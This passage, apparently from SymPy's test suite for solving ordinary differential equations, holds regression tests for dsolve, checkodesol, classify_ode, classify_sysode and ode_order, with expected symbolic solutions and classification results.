5*C2)*sqrt(3*_y**2 + C1 - 4*C2)), (_y, x(t))), C3 + "\ "Integral(-sqrt(5)*sin(t)/10, t))), Eq(y(t), Eq(Integral(4/(sqrt(-4*_y**2 - 3*C1 + C2)*sqrt(-4*_y**2 + 5*C1 - C2)), "\ "(_y, y(t))), C3 + Integral(sqrt(15)*sin(t)/15, t))), Eq(z(t), Eq(Integral(5/(sqrt(-10*_y**2 - 3*C1 + C2)*"\ "sqrt(5*_y**2 + 4*C1 - C2)), (_y, z(t))), C3 + Integral(-sqrt(3)*sin(t)/6, t)))]" assert str(dsolve(eq2)) == sol2 def test_checkodesol(): # For the most part, checkodesol is well tested in the tests below. # These tests only handle cases not checked below. raises(ValueError, lambda: checkodesol(f(x, y).diff(x), Eq(f(x, y), x))) raises(ValueError, lambda: checkodesol(f(x).diff(x), Eq(f(x, y), x), f(x, y))) assert checkodesol(f(x).diff(x), Eq(f(x, y), x)) == \ (False, -f(x).diff(x) + f(x, y).diff(x) - 1) assert checkodesol(f(x).diff(x), Eq(f(x), x)) is not True assert checkodesol(f(x).diff(x), Eq(f(x), x)) == (False, 1) sol1 = Eq(f(x)**5 + 11*f(x) - 2*f(x) + x, 0) assert checkodesol(diff(sol1.lhs, x), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x)*exp(f(x)), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x, 2), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x, 2)*exp(f(x)), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x, 3), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x, 3)*exp(f(x)), sol1) == (True, 0) assert checkodesol(diff(sol1.lhs, x, 3), Eq(f(x), x*log(x))) == \ (False, 60*x**4*((log(x) + 1)**2 + log(x))*( log(x) + 1)*log(x)**2 - 5*x**4*log(x)**4 - 9) assert checkodesol(diff(exp(f(x)) + x, x)*x, Eq(exp(f(x)) + x)) == \ (True, 0) assert checkodesol(diff(exp(f(x)) + x, x)*x, Eq(exp(f(x)) + x), solve_for_func=False) == (True, 0) assert checkodesol(f(x).diff(x, 2), [Eq(f(x), C1 + C2*x), Eq(f(x), C2 + C1*x), Eq(f(x), C1*x + C2*x**2)]) == \ [(True, 0), (True, 0), (False, 2*C2)] assert checkodesol(f(x).diff(x, 2), set([Eq(f(x), C1 + C2*x), Eq(f(x), C2 + C1*x), Eq(f(x), C1*x + C2*x**2)])) == \ set([(True, 0), (True, 0), (False, 2*C2)]) assert checkodesol(f(x).diff(x) - 1/f(x)/2, Eq(f(x)**2, x)) == \ [(True, 0), (True, 0)] assert checkodesol(f(x).diff(x) - f(x), Eq(C1*exp(x), f(x))) == (True, 0) # Based on test_1st_homogeneous_coeff_ode2_eq3sol. Make sure that # checkodesol tries back substituting f(x) when it can. eq3 = x*exp(f(x)/x) + f(x) - x*f(x).diff(x) sol3 = Eq(f(x), log(log(C1/x)**(-x))) assert not checkodesol(eq3, sol3)[1].has(f(x)) @slow def test_dsolve_options(): eq = x*f(x).diff(x) + f(x) a = dsolve(eq, hint='all') b = dsolve(eq, hint='all', simplify=False) c = dsolve(eq, hint='all_Integral') keys = ['1st_exact', '1st_exact_Integral', '1st_homogeneous_coeff_best', '1st_homogeneous_coeff_subs_dep_div_indep', '1st_homogeneous_coeff_subs_dep_div_indep_Integral', '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_linear', '1st_linear_Integral', 'almost_linear', 'almost_linear_Integral', 'best', 'best_hint', 'default', 'lie_group', 'nth_linear_euler_eq_homogeneous', 'order', 'separable', 'separable_Integral'] Integral_keys = ['1st_exact_Integral', '1st_homogeneous_coeff_subs_dep_div_indep_Integral', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_linear_Integral', 'almost_linear_Integral', 'best', 'best_hint', 'default', 'nth_linear_euler_eq_homogeneous', 'order', 'separable_Integral'] assert sorted(a.keys()) == keys assert a['order'] == ode_order(eq, f(x)) assert a['best'] == Eq(f(x), C1/x) assert dsolve(eq, hint='best') == Eq(f(x), C1/x) assert a['default'] == 'separable' assert a['best_hint'] == 'separable' assert not a['1st_exact'].has(Integral) assert not a['separable'].has(Integral) assert not a['1st_homogeneous_coeff_best'].has(Integral) assert not a['1st_homogeneous_coeff_subs_dep_div_indep'].has(Integral) assert not a['1st_homogeneous_coeff_subs_indep_div_dep'].has(Integral) assert not a['1st_linear'].has(Integral) assert a['1st_linear_Integral'].has(Integral) assert a['1st_exact_Integral'].has(Integral) assert a['1st_homogeneous_coeff_subs_dep_div_indep_Integral'].has(Integral) assert a['1st_homogeneous_coeff_subs_indep_div_dep_Integral'].has(Integral) assert a['separable_Integral'].has(Integral) assert sorted(b.keys()) == keys assert b['order'] == ode_order(eq, f(x)) assert b['best'] == Eq(f(x), C1/x) assert dsolve(eq, hint='best', simplify=False) == Eq(f(x), C1/x) assert b['default'] == 'separable' assert b['best_hint'] == '1st_linear' assert a['separable'] != b['separable'] assert a['1st_homogeneous_coeff_subs_dep_div_indep'] != \ b['1st_homogeneous_coeff_subs_dep_div_indep'] assert a['1st_homogeneous_coeff_subs_indep_div_dep'] != \ b['1st_homogeneous_coeff_subs_indep_div_dep'] assert not b['1st_exact'].has(Integral) assert not b['separable'].has(Integral) assert not b['1st_homogeneous_coeff_best'].has(Integral) assert not b['1st_homogeneous_coeff_subs_dep_div_indep'].has(Integral) assert not b['1st_homogeneous_coeff_subs_indep_div_dep'].has(Integral) assert not b['1st_linear'].has(Integral) assert b['1st_linear_Integral'].has(Integral) assert b['1st_exact_Integral'].has(Integral) assert b['1st_homogeneous_coeff_subs_dep_div_indep_Integral'].has(Integral) assert b['1st_homogeneous_coeff_subs_indep_div_dep_Integral'].has(Integral) assert b['separable_Integral'].has(Integral) assert sorted(c.keys()) == Integral_keys raises(ValueError, lambda: dsolve(eq, hint='notarealhint')) raises(ValueError, lambda: dsolve(eq, hint='Liouville')) assert dsolve(f(x).diff(x) - 1/f(x)**2, hint='all')['best'] == \ dsolve(f(x).diff(x) - 1/f(x)**2, hint='best') assert dsolve(f(x) + f(x).diff(x) + sin(x).diff(x) + 1, f(x), hint="1st_linear_Integral") == \ Eq(f(x), (C1 + Integral((-sin(x).diff(x) - 1)* exp(Integral(1, x)), x))*exp(-Integral(1, x))) def test_classify_ode(): assert classify_ode(f(x).diff(x, 2), f(x)) == \ ('nth_linear_constant_coeff_homogeneous', 'Liouville', '2nd_power_series_ordinary' ,'Liouville_Integral') assert classify_ode(f(x), f(x)) == () assert classify_ode(Eq(f(x).diff(x), 0), f(x)) == ('separable', '1st_linear', '1st_homogeneous_coeff_best', '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep', '1st_power_series', 'lie_group', 'nth_linear_constant_coeff_homogeneous', 'separable_Integral', '1st_linear_Integral', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_homogeneous_coeff_subs_dep_div_indep_Integral') assert classify_ode(f(x).diff(x)**2, f(x)) == ('lie_group',) # issue 4749: f(x) should be cleared from highest derivative before classifying a = classify_ode(Eq(f(x).diff(x) + f(x), x), f(x)) b = classify_ode(f(x).diff(x)*f(x) + f(x)*f(x) - x*f(x), f(x)) c = classify_ode(f(x).diff(x)/f(x) + f(x)/f(x) - x/f(x), f(x)) assert a == ('1st_linear', 'Bernoulli', 'almost_linear', '1st_power_series', "lie_group", 'nth_linear_constant_coeff_undetermined_coefficients', 'nth_linear_constant_coeff_variation_of_parameters', '1st_linear_Integral', 'Bernoulli_Integral', 'almost_linear_Integral', 'nth_linear_constant_coeff_variation_of_parameters_Integral') assert b == c != () assert classify_ode( 2*x*f(x)*f(x).diff(x) + (1 + x)*f(x)**2 - exp(x), f(x) ) == ('Bernoulli', 'almost_linear', 'lie_group', 'Bernoulli_Integral', 'almost_linear_Integral') assert 'Riccati_special_minus2' in \ classify_ode(2*f(x).diff(x) + f(x)**2 - f(x)/x + 3*x**(-2), f(x)) raises(ValueError, lambda: classify_ode(x + f(x, y).diff(x).diff( y), f(x, y))) # issue 5176 k = Symbol('k') assert classify_ode(f(x).diff(x)/(k*f(x) + k*x*f(x)) + 2*f(x)/(k*f(x) + k*x*f(x)) + x*f(x).diff(x)/(k*f(x) + k*x*f(x)) + z, f(x)) == \ ('separable', '1st_exact', '1st_power_series', 'lie_group', 'separable_Integral', '1st_exact_Integral') # preprocessing ans = ('separable', '1st_exact', '1st_linear', 'Bernoulli', '1st_homogeneous_coeff_best', '1st_homogeneous_coeff_subs_indep_div_dep', '1st_homogeneous_coeff_subs_dep_div_indep', '1st_power_series', 'lie_group', 'nth_linear_constant_coeff_undetermined_coefficients', 'nth_linear_constant_coeff_variation_of_parameters', 'separable_Integral', '1st_exact_Integral', '1st_linear_Integral', 'Bernoulli_Integral', '1st_homogeneous_coeff_subs_indep_div_dep_Integral', '1st_homogeneous_coeff_subs_dep_div_indep_Integral', 'nth_linear_constant_coeff_variation_of_parameters_Integral') # w/o f(x) given assert classify_ode(diff(f(x) + x, x) + diff(f(x), x)) == ans # w/ f(x) and prep=True assert classify_ode(diff(f(x) + x, x) + diff(f(x), x), f(x), prep=True) == ans assert classify_ode(Eq(2*x**3*f(x).diff(x), 0), f(x)) == \ ('separable', '1st_linear', '1st_power_series', 'lie_group', 'separable_Integral', '1st_linear_Integral') assert classify_ode(Eq(2*f(x)**3*f(x).diff(x), 0), f(x)) == \ ('separable', '1st_power_series', 'lie_group', 'separable_Integral') def test_classify_sysode(): # Here x is assumed to be x(t) and y as y(t) for simplicity. # Similarly diff(x,t) and diff(y,y) is assumed to be x1 and y1 respectively. k, l, m, n = symbols('k, l, m, n', Integer=True) k1, k2, k3, l1, l2, l3, m1, m2, m3 = symbols('k1, k2, k3, l1, l2, l3, m1, m2, m3', Integer=True) P, Q, R, p, q, r = symbols('P, Q, R, p, q, r', Function=True) P1, P2, P3, Q1, Q2, R1, R2 = symbols('P1, P2, P3, Q1, Q2, R1, R2', function=True) x, y, z = symbols('x, y, z', Function=True) t = symbols('t') x1 = diff(x(t),t) ; y1 = diff(y(t),t) ; z1 = diff(z(t),t) x2 = diff(x(t),t,t) ; y2 = diff(y(t),t,t) ; z2 = diff(z(t),t,t) eq1 = (Eq(diff(x(t),t), 5*t*x(t) + 2*y(t)), Eq(diff(y(t),t), 2*x(t) + 5*t*y(t))) sol1 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): -5*t, (1, x(t), 1): 0, (0, x(t), 1): 1, \ (1, y(t), 0): -5*t, (1, x(t), 0): -2, (0, y(t), 1): 0, (0, y(t), 0): -2, (1, y(t), 1): 1}, \ 'type_of_equation': 'type3', 'func': [x(t), y(t)], 'is_linear': True, 'eq': [-5*t*x(t) - 2*y(t) + \ Derivative(x(t), t), -5*t*y(t) - 2*x(t) + Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq1) == sol1 eq2 = (Eq(x2, k*x(t) - l*y1), Eq(y2, l*x1 + k*y(t))) sol2 = {'order': {y(t): 2, x(t): 2}, 'type_of_equation': 'type3', 'is_linear': True, 'eq': \ [-k*x(t) + l*Derivative(y(t), t) + Derivative(x(t), t, t), -k*y(t) - l*Derivative(x(t), t) + \ Derivative(y(t), t, t)], 'no_of_equation': 2, 'func_coeff': {(0, y(t), 0): 0, (0, x(t), 2): 1, \ (1, y(t), 1): 0, (1, y(t), 2): 1, (1, x(t), 2): 0, (0, y(t), 2): 0, (0, x(t), 0): -k, (1, x(t), 1): \ -l, (0, x(t), 1): 0, (0, y(t), 1): l, (1, x(t), 0): 0, (1, y(t), 0): -k}, 'func': [x(t), y(t)]} assert classify_sysode(eq2) == sol2 eq3 = (Eq(x2+4*x1+3*y1+9*x(t)+7*y(t), 11*exp(I*t)), Eq(y2+5*x1+8*y1+3*x(t)+12*y(t), 2*exp(I*t))) sol3 = {'no_of_equation': 2, 'func_coeff': {(1, x(t), 2): 0, (0, y(t), 2): 0, (0, x(t), 0): 9, \ (1, x(t), 1): 5, (0, x(t), 1): 4, (0, y(t), 1): 3, (1, x(t), 0): 3, (1, y(t), 0): 12, (0, y(t), 0): 7, \ (0, x(t), 2): 1, (1, y(t), 2): 1, (1, y(t), 1): 8}, 'type_of_equation': 'type4', 'func': [x(t), y(t)], \ 'is_linear': True, 'eq': [9*x(t) + 7*y(t) - 11*exp(I*t) + 4*Derivative(x(t), t) + 3*Derivative(y(t), t) + \ Derivative(x(t), t, t), 3*x(t) + 12*y(t) - 2*exp(I*t) + 5*Derivative(x(t), t) + 8*Derivative(y(t), t) + \ Derivative(y(t), t, t)], 'order': {y(t): 2, x(t): 2}} assert classify_sysode(eq3) == sol3 eq4 = (Eq((4*t**2 + 7*t + 1)**2*x2, 5*x(t) + 35*y(t)), Eq((4*t**2 + 7*t + 1)**2*y2, x(t) + 9*y(t))) sol4 = {'no_of_equation': 2, 'func_coeff': {(1, x(t), 2): 0, (0, y(t), 2): 0, (0, x(t), 0): -5, \ (1, x(t), 1): 0, (0, x(t), 1): 0, (0, y(t), 1): 0, (1, x(t), 0): -1, (1, y(t), 0): -9, (0, y(t), 0): -35, \ (0, x(t), 2): 16*t**4 + 56*t**3 + 57*t**2 + 14*t + 1, (1, y(t), 2): 16*t**4 + 56*t**3 + 57*t**2 + 14*t + 1, \ (1, y(t), 1): 0}, 'type_of_equation': 'type10', 'func': [x(t), y(t)], 'is_linear': True, \ 'eq': [(4*t**2 + 7*t + 1)**2*Derivative(x(t), t, t) - 5*x(t) - 35*y(t), (4*t**2 + 7*t + 1)**2*Derivative(y(t), t, t)\ - x(t) - 9*y(t)], 'order': {y(t): 2, x(t): 2}} assert classify_sysode(eq4) == sol4 eq5 = (Eq(diff(x(t),t), x(t) + y(t) + 9), Eq(diff(y(t),t), 2*x(t) + 5*y(t) + 23)) sol5 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): -1, (1, x(t), 1): 0, (0, x(t), 1): 1, (1, y(t), 0): -5, \ (1, x(t), 0): -2, (0, y(t), 1): 0, (0, y(t), 0): -1, (1, y(t), 1): 1}, 'type_of_equation': 'type2', \ 'func': [x(t), y(t)], 'is_linear': True, 'eq': [-x(t) - y(t) + Derivative(x(t), t) - 9, -2*x(t) - 5*y(t) + \ Derivative(y(t), t) - 23], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq5) == sol5 eq6 = (Eq(x1, exp(k*x(t))*P(x(t),y(t))), Eq(y1,r(y(t))*P(x(t),y(t)))) sol6 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): 0, (1, x(t), 1): 0, (0, x(t), 1): 1, (1, y(t), 0): 0, \ (1, x(t), 0): 0, (0, y(t), 1): 0, (0, y(t), 0): 0, (1, y(t), 1): 1}, 'type_of_equation': 'type2', 'func': \ [x(t), y(t)], 'is_linear': False, 'eq': [-P(x(t), y(t))*exp(k*x(t)) + Derivative(x(t), t), -P(x(t), \ y(t))*r(y(t)) + Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq6) == sol6 eq7 = (Eq(x1, x(t)**2+y(t)/x(t)), Eq(y1, x(t)/y(t))) sol7 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): 0, (1, x(t), 1): 0, (0, x(t), 1): 1, (1, y(t), 0): 0, \ (1, x(t), 0): -1/y(t), (0, y(t), 1): 0, (0, y(t), 0): -1/x(t), (1, y(t), 1): 1}, 'type_of_equation': 'type3', \ 'func': [x(t), y(t)], 'is_linear': False, 'eq': [-x(t)**2 + Derivative(x(t), t) - y(t)/x(t), -x(t)/y(t) + \ Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq7) == sol7 eq8 = (Eq(x1, P1(x(t))*Q1(y(t))*R(x(t),y(t),t)), Eq(y1, P1(x(t))*Q1(y(t))*R(x(t),y(t),t))) sol8 = {'func': [x(t), y(t)], 'is_linear': False, 'type_of_equation': 'type4', 'eq': \ [-P1(x(t))*Q1(y(t))*R(x(t), y(t), t) + Derivative(x(t), t), -P1(x(t))*Q1(y(t))*R(x(t), y(t), t) + \ Derivative(y(t), t)], 'func_coeff': {(0, y(t), 1): 0, (1, y(t), 1): 1, (1, x(t), 1): 0, (0, y(t), 0): 0, \ (1, x(t), 0): 0, (0, x(t), 0): 0, (1, y(t), 0): 0, (0, x(t), 1): 1}, 'order': {y(t): 1, x(t): 1}, 'no_of_equation': 2} assert classify_sysode(eq8) == sol8 eq9 = (Eq(x1,3*y(t)-11*z(t)),Eq(y1,7*z(t)-3*x(t)),Eq(z1,11*x(t)-7*y(t))) sol9 = {'no_of_equation': 3, 'func_coeff': {(1, y(t), 0): 0, (2, y(t), 1): 0, (2, z(t), 1): 1, \ (0, x(t), 0): 0, (2, x(t), 1): 0, (1, x(t), 1): 0, (2, y(t), 0): 7, (0, x(t), 1): 1, (1, z(t), 1): 0, \ (0, y(t), 1): 0, (1, x(t), 0): 3, (0, z(t), 0): 11, (0, y(t), 0): -3, (1, z(t), 0): -7, (0, z(t), 1): 0, \ (2, x(t), 0): -11, (2, z(t), 0): 0, (1, y(t), 1): 1}, 'type_of_equation': 'type2', 'func': [x(t), y(t), z(t)], \ 'is_linear': True, 'eq': [-3*y(t) + 11*z(t) + Derivative(x(t), t), 3*x(t) - 7*z(t) + Derivative(y(t), t), \ -11*x(t) + 7*y(t) + Derivative(z(t), t)], 'order': {z(t): 1, y(t): 1, x(t): 1}} assert classify_sysode(eq9) == sol9 eq10 = (x2 + log(t)*(t*x1 - x(t)) + exp(t)*(t*y1 - y(t)), y2 + (t**2)*(t*x1 - x(t)) + (t)*(t*y1 - y(t))) sol10 = {'no_of_equation': 2, 'func_coeff': {(1, x(t), 2): 0, (0, y(t), 2): 0, (0, x(t), 0): -log(t), \ (1, x(t), 1): t**3, (0, x(t), 1): t*log(t), (0, y(t), 1): t*exp(t), (1, x(t), 0): -t**2, (1, y(t), 0): -t, \ (0, y(t), 0): -exp(t), (0, x(t), 2): 1, (1, y(t), 2): 1, (1, y(t), 1): t**2}, 'type_of_equation': 'type11', \ 'func': [x(t), y(t)], 'is_linear': True, 'eq': [(t*Derivative(x(t), t) - x(t))*log(t) + (t*Derivative(y(t), t) - \ y(t))*exp(t) + Derivative(x(t), t, t), t**2*(t*Derivative(x(t), t) - x(t)) + t*(t*Derivative(y(t), t) - y(t)) \ + Derivative(y(t), t, t)], 'order': {y(t): 2, x(t): 2}} assert classify_sysode(eq10) == sol10 eq11 = (Eq(x1,x(t)*y(t)**3), Eq(y1,y(t)**5)) sol11 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): -y(t)**3, (1, x(t), 1): 0, (0, x(t), 1): 1, \ (1, y(t), 0): 0, (1, x(t), 0): 0, (0, y(t), 1): 0, (0, y(t), 0): 0, (1, y(t), 1): 1}, 'type_of_equation': \ 'type1', 'func': [x(t), y(t)], 'is_linear': False, 'eq': [-x(t)*y(t)**3 + Derivative(x(t), t), \ -y(t)**5 + Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq11) == sol11 eq12 = (Eq(x1, y(t)), Eq(y1, x(t))) sol12 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): 0, (1, x(t), 1): 0, (0, x(t), 1): 1, (1, y(t), 0): 0, \ (1, x(t), 0): -1, (0, y(t), 1): 0, (0, y(t), 0): -1, (1, y(t), 1): 1}, 'type_of_equation': 'type1', 'func': \ [x(t), y(t)], 'is_linear': True, 'eq': [-y(t) + Derivative(x(t), t), -x(t) + Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq12) == sol12 eq13 = (Eq(x1,x(t)*y(t)*sin(t)**2), Eq(y1,y(t)**2*sin(t)**2)) sol13 = {'no_of_equation': 2, 'func_coeff': {(0, x(t), 0): -y(t)*sin(t)**2, (1, x(t), 1): 0, (0, x(t), 1): 1, \ (1, y(t), 0): 0, (1, x(t), 0): 0, (0, y(t), 1): 0, (0, y(t), 0): -x(t)*sin(t)**2, (1, y(t), 1): 1}, \ 'type_of_equation': 'type4', 'func': [x(t), y(t)], 'is_linear': False, 'eq': [-x(t)*y(t)*sin(t)**2 + \ Derivative(x(t), t), -y(t)**2*sin(t)**2 + Derivative(y(t), t)], 'order': {y(t): 1, x(t): 1}} assert classify_sysode(eq13) == sol13 eq14 = (Eq(x1, 21*x(t)), Eq(y1, 17*x(t)+3*y(t)), Eq(z1, 5*x(t)+7*y(t)+9*z(t))) sol14 = {'no_of_equation': 3, 'func_coeff': {(1, y(t), 0): -3, (2, y(t), 1): 0, (2, z(t), 1): 1, \ (0, x(t), 0): -21, (2, x(t), 1): 0, (1, x(t), 1): 0, (2, y(t), 0): -7, (0, x(t), 1): 1, (1, z(t), 1): 0, \ (0, y(t), 1): 0, (1, x(t), 0): -17, (0, z(t), 0): 0, (0, y(t), 0): 0, (1, z(t), 0): 0, (0, z(t), 1): 0, \ (2, x(t), 0): -5, (2, z(t), 0): -9, (1, y(t), 1): 1}, 'type_of_equation': 'type1', 'func': [x(t), y(t), z(t)], \ 'is_linear': True, 'eq': [-21*x(t) + Derivative(x(t), t), -17*x(t) - 3*y(t) + Derivative(y(t), t), -5*x(t) - \ 7*y(t) - 9*z(t) + Derivative(z(t), t)], 'order': {z(t): 1, y(t): 1, x(t): 1}} assert classify_sysode(eq14) == sol14 eq15 = (Eq(x1,4*x(t)+5*y(t)+2*z(t)),Eq(y1,x(t)+13*y(t)+9*z(t)),Eq(z1,32*x(t)+41*y(t)+11*z(t))) sol15 = {'no_of_equation': 3, 'func_coeff': {(1, y(t), 0): -13, (2, y(t), 1): 0, (2, z(t), 1): 1, \ (0, x(t), 0): -4, (2, x(t), 1): 0, (1, x(t), 1): 0, (2, y(t), 0): -41, (0, x(t), 1): 1, (1, z(t), 1): 0, \ (0, y(t), 1): 0, (1, x(t), 0): -1, (0, z(t), 0): -2, (0, y(t), 0): -5, (1, z(t), 0): -9, (0, z(t), 1): 0, \ (2, x(t), 0): -32, (2, z(t), 0): -11, (1, y(t), 1): 1}, 'type_of_equation': 'type6', 'func': \ [x(t), y(t), z(t)], 'is_linear': True, 'eq': [-4*x(t) - 5*y(t) - 2*z(t) + Derivative(x(t), t), -x(t) - 13*y(t) - \ 9*z(t) + Derivative(y(t), t), -32*x(t) - 41*y(t) - 11*z(t) + Derivative(z(t), t)], 'order': {z(t): 1, y(t): 1, x(t): 1}} assert classify_sysode(eq15) == sol15 eq16 = (Eq(3*x1,4*5*(y(t)-z(t))),Eq(4*y1,3*5*(z(t)-x(t))),Eq(5*z1,3*4*(x(t)-y(t)))) sol16 = {'no_of_equation': 3, 'func_coeff': {(1, y(t), 0): 0, (2, y(t), 1): 0, (2, z(t), 1): 5, \ (0, x(t), 0): 0, (2, x(t), 1): 0, (1, x(t), 1): 0, (2, y(t), 0): 12, (0, x(t), 1): 3, (1, z(t), 1): 0, \ (0, y(t), 1): 0, (1, x(t), 0): 15, (0, z(t), 0): 20, (0, y(t), 0): -20, (1, z(t), 0): -15, (0, z(t), 1): 0, \ (2, x(t), 0): -12, (2, z(t), 0): 0, (1, y(t), 1): 4}, 'type_of_equation': 'type3', 'func': [x(t), y(t), z(t)], \ 'is_linear': True, 'eq': [-20*y(t) + 20*z(t) + 3*Derivative(x(t), t), 15*x(t) - 15*z(t) + 4*Derivative(y(t), t), \ -12*x(t) + 12*y(t) + 5*Derivative(z(t), t)], 'order': {z(t): 1, y(t): 1, x(t): 1}} assert classify_sysode(eq16) == sol16 def test_ode_order(): f = Function('f') g = Function('g') x = Symbol('x') assert ode_order(3*x*exp(f(x)), f(x)) == 0 assert ode_order(x*diff(f(x), x) + 3*x*f(x) - sin(x)/x, f(x)) == 1 assert ode_order(x**2*f(x).diff(x, x) + x*diff(f(x), x) - f(x), f(x)) == 2 assert ode_order(diff(x*exp(f(x)), x, x), f(x)) == 2 assert ode_order(diff(x*diff(x*exp(f(x)), x, x), x), f(x)) == 3 assert ode_order(diff(f(x), x, x), g(x)) == 0 assert ode_order(diff(f(x), x, x)*diff(g(x), x), f(x)) == 2 assert ode_order(diff(f(x), x, x)*diff(g(x), x), g(x)) == 1 assert ode_order(diff(x*diff(x*exp(f(x)), x, x), x), g(x)) == 0 # issue 5835: ode_order has to also work for unevaluated derivatives # (ie, without using doit()). assert ode_order(Derivative(x*f(x), x), f(x)) == 1 assert ode_order(x*sin(Derivative(x*f(x)**2, x, x)), f(x)) == 2 assert ode_order(Derivative(x*Derivative(x*exp(f(x)), x, x), x), g(x)) == 0 assert ode_order(Derivative(f(x), x, x), g(x)) == 0 assert ode_order(Derivative(x*exp(f(x)), x, x), f(x)) == 2 assert ode_order(Derivative(f(x), x, x)*Derivative(g(x), x), g(x)) == 1 assert ode_order(Derivative(x*Derivative(f(x), x, x), x), f(x)) == 3 assert ode_order( x*sin(Derivative(x*Derivative(f(x), x)**2, x, x)), f(x)) == 3 # In all tests below, checkodesol has the order option set to prevent # superfluous calls to ode_order(), and the solve_for_func flag set to False # because dsolve() already tries to solve for the function, unless the # simplify=False option is set. def test_old_ode_tests(): # These are simple tests from the old ode module eq1 = Eq(f(x).diff(x), 0) eq2 = Eq(3*f(x).diff(x) - 5, 0) eq3 = Eq(3*f(x).diff(x), 5) eq4 = Eq(9*f(x).diff(x, x) + f(x), 0) eq5 = Eq(9*f(x).diff(x, x), f(x)) # Type: a(x)f'(x)+b(x)*f(x)+c(x)=0 eq6 = Eq(x**2*f(x).diff(x) + 3*x*f(x) - sin(x)/x, 0) eq7 = Eq(f(x).diff(x, x) - 3*diff(f(x), x) + 2*f(x), 0) # Type: 2nd order, constant coefficients (two real different roots) eq8 = Eq(f(x).diff(x, x) - 4*diff(f(x), x) + 4*f(x), 0) # Type: 2nd order, constant coefficients (two real equal roots) eq9 = Eq(f(x).diff(x, x) + 2*diff(f(x), x) + 3*f(x), 0) # Type: 2nd order, constant coefficients (two complex roots) eq10 = Eq(3*f(x).diff(x) - 1, 0) eq11 = Eq(x*f(x).diff(x) - 1, 0) sol1 = Eq(f(x), C1) sol2 = Eq(f(x), C1 + 5*x/3) sol3 = Eq(f(x), C1 + 5*x/3) sol4 = Eq(f(x), C1*sin(x/3) + C2*cos(x/3)) sol5 = Eq(f(x), C1*exp(-x/3) + C2*exp(x/3)) sol6 = Eq(f(x), (C1 - cos(x))/x**3) sol7 = Eq(f(x), (C1 + C2*exp(x))*exp(x)) sol8 = Eq(f(x), (C1 + C2*x)*exp(2*x)) sol9 = Eq(f(x), (C1*sin(x*sqrt(2)) + C2*cos(x*sqrt(2)))*exp(-x)) sol10 = Eq(f(x), C1 + x/3) sol11 = Eq(f(x), C1 + log(x)) assert dsolve(eq1) == sol1 assert dsolve(eq1.lhs) == sol1 assert dsolve(eq2) == sol2 assert dsolve(eq3) == sol3 assert dsolve(eq4) == sol4 assert dsolve(eq5) == sol5 assert dsolve(eq6) == sol6 assert dsolve(eq7) == sol7 assert dsolve(eq8) == sol8 assert dsolve(eq9) == sol9 assert dsolve(eq10) == sol10 assert dsolve(eq11) == sol11 assert checkodesol(eq1, sol1, order=1, solve_for_func=False)[0] assert checkodesol(eq2, sol2, order=1, solve_for_func=False)[0] assert checkodesol(eq3, sol3, order=1, solve_for_func=False)[0] assert checkodesol(eq4, sol4, order=2, solve_for_func=False)[0] assert checkodesol(eq5, sol5, order=2, solve_for_func=False)[0] assert checkodesol(eq6, sol6, order=1, solve_for_func=False)[0] assert checkodesol(eq7, sol7, order=2, solve_for_func=False)[0] assert checkodesol(eq8, sol8, order=2, solve_for_func=False)[0] assert checkodesol(eq9, sol9, order=2, solve_for_func=False)[0] assert checkodesol(eq10, sol10, order=1, solve_for_func=False)[0] assert checkodesol(eq11, sol11, order=1, solve_for_func=False)[0] @slow def test_1st_linear(): # Type: first order linear form f'(x)+p(x)f(x)=q(x) eq = Eq(f(x).diff(x) + x*f(x), x**2) sol = Eq(f(x), (C1 + x*exp(x**2/2) - sqrt(2)*sqrt(pi)*erfi(sqrt(2)*x/2)/2)*exp(-x**2/2)) assert dsolve(eq, hint='1st_linear') == sol assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_Bernoulli(): # Type: Bernoulli, f'(x) + p(x)*f(x) == q(x)*f(x)**n eq = Eq(x*f(x).diff(x) + f(x) - f(x)**2, 0) sol = dsolve(eq, f(x), hint='Bernoulli') assert sol == Eq(f(x), 1/(x*(C1 + 1/x))) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_Riccati_special_minus2(): # Type: Riccati special alpha = -2, a*dy/dx + b*y**2 + c*y/x +d/x**2 eq = 2*f(x).diff(x) + f(x)**2 - f(x)/x + 3*x**(-2) sol = dsolve(eq, f(x), hint='Riccati_special_minus2') assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_1st_exact1(): # Type: Exact differential equation, p(x,f) + q(x,f)*f' == 0, # where dp/df == dq/dx eq1 = sin(x)*cos(f(x)) + cos(x)*sin(f(x))*f(x).diff(x) eq2 = (2*x*f(x) + 1)/f(x) + (f(x) - x)/f(x)**2*f(x).diff(x) eq3 = 2*x + f(x)*cos(x) + (2*f(x) + sin(x) - sin(f(x)))*f(x).diff(x) eq4 = cos(f(x)) - (x*sin(f(x)) - f(x)**2)*f(x).diff(x) eq5 = 2*x*f(x) + (x**2 + f(x)**2)*f(x).diff(x) sol1 = [Eq(f(x), -acos(C1/cos(x)) + 2*pi), Eq(f(x), acos(C1/cos(x)))] sol2 = Eq(f(x), exp(C1 - x**2 + LambertW(-x*exp(-C1 + x**2)))) sol2b = Eq(log(f(x)) + x/f(x) + x**2, C1) sol3 = Eq(f(x)*sin(x) + 